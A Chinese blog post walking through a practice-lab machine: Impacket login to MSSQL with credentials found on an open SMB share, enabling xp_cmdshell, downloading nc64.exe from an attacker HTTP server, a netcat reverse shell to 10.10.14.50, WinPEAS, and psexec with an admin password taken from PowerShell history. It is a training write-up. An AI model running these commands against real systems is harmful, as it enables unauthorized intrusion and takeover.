首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Impacket使用 - 起始点

Impacket使用 - 起始点

作者头像
kam1
发布2022-03-08 14:04:06
2.1K0
发布2022-03-08 14:04:06
举报

以下在靶场中属于very easy难度。

使用Impacket登录mssql

Impacket项目地址:https://github.com/SecureAuthCorp/impacket

linux安装:

git clone https://github.com/SecureAuthCorp/impacket

python3 -m pip install tox

python3 setup.py install

Windows安装:

将Impacket下载到本地,pip install tox

python setup.py install

安装完成之后会在当前目录下面生成impacket和examples文件夹,里面有各种脚本

0x01. Nmap扫描

使用Nmap扫描靶机的端口发现开启了445 SMB 和 1433 mssql

由于靶机已经关闭,所以这里smb登录就没有截图了,windows下直接\\ip地址就可以了

对445端口进行了无密码登录尝试,登录之后看到一个配置文件里面有mssql的账号和密码

0x02. 登录mssql:

cd examples

python mssqlclient.py domain/user@ip address -windows-auth

输入密码即可登录

select user 查看当前登录用户

select is_srvrolemember(‘sysadmin’) 判断是否有系统权限

如果权限够高可以开启xp_cmdshell来执行系统命令

0x03. 开启xp_cmdshell执行系统命令

可以先测试一下xpcmd开没开 xp_cmdshell “whoami”

如果报错就没开xpshell 这时候就需要手动开启

**sp_configure;**查看配置可以看到xpshell是否开启

EXEC sp_configure ‘show advanced options’, 1; 开启高级选项

reconfigure 重新加载配置

EXEC sp_configure ‘xp_cmdshell’, 1 设置xpshell开启

reconfigure 重新加载配置 这时候就可以执行系统命令了

0x04. 通过xp_cmdshell反弹shell

首先python临时起一个http服务,将nc或者是生成的木马放进去

在目标xp_cmdshell中输入**xp_cmdshell “powershell -c pwd”**来获取当前路径,看看是否有权限在当前目录操作,如果没有,就可以将文件下载到当前用户的目录中,然后再执行。

xp_cmdshell “powershell -c cd c:\users\sql_svc\downloads; wget http://10.10.14.50/nc64.exe -outfile nc64.exe” 使用powershell进入到当前用户的下载目录,在使用wget命令下载木马文件

现在目标机器上有了nc,那么本地监听,再用xp_cmdshell执行即可

xp_cmdshell “powershell -c cd c:\users\sql_svc\downloads; .\nc64.exe -e cmd.exe 10.10.14.50 333” 目标主机xp_cmdshell运行这条命令即可将cmd弹到攻击机

此时进入桌面可以看到有一个文件,看样子是flag

看到flag但是还不能提交flag,因为还有一个任务七,是跟提权相关的,毕竟这边弹过去的cmd也是当前用户的权限,相对来说比较低,那么现在进行提权操作

0x05. WinPeas特权提升工具

winpeas.exe可以积极寻找特权升级错误配置,而且还在结果中为用户突出显示它们

项目地址:https://github.com/carlospolop/PEASS-ng

同样将winpeas用python临时起的http服务来让目标下载,注意,这时候就不用在用xp_cmdshell来执行了,直接用刚刚反弹过来的cmd去调powershell即可

注意,这里访问的文件是去分大小写的。

下载好了之后执行将winPEAS运行起来,可以看到检测出有很多对应的cve提权方式

0x06. 通过管理员历史命令登录超级用户

根据任务7的提示是找到特定程序输入的内容的历史记录,由此找到powershell的consolehost_history.txt

查看这个txt看到管理员之前用net.exe登录了administrator,并且密码是明文密码,那么我也可以用impacket进行psexec的操作了

psexec成功登陆目标主机,为了得到flag,当然首先看administrator的桌面,看到有一个root.txt 试着打开一下

但是当我去打开root.txt的时候却提示我找不到文件。 那我直接进到桌面再看就好了呗~

hhh…这一步做完回首一看命令才发现刚刚执行的 type root.txt是在system32目录下执行的

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-01-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 使用Impacket登录mssql
    • 0x01. Nmap扫描
      • 0x02. 登录mssql:
        • 0x03. 开启xp_cmdshell执行系统命令
          • 0x04. 通过xp_cmdshell反弹shell
            • 0x05. WinPeas特权提升工具
              • 0x06. 通过管理员历史命令登录超级用户
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档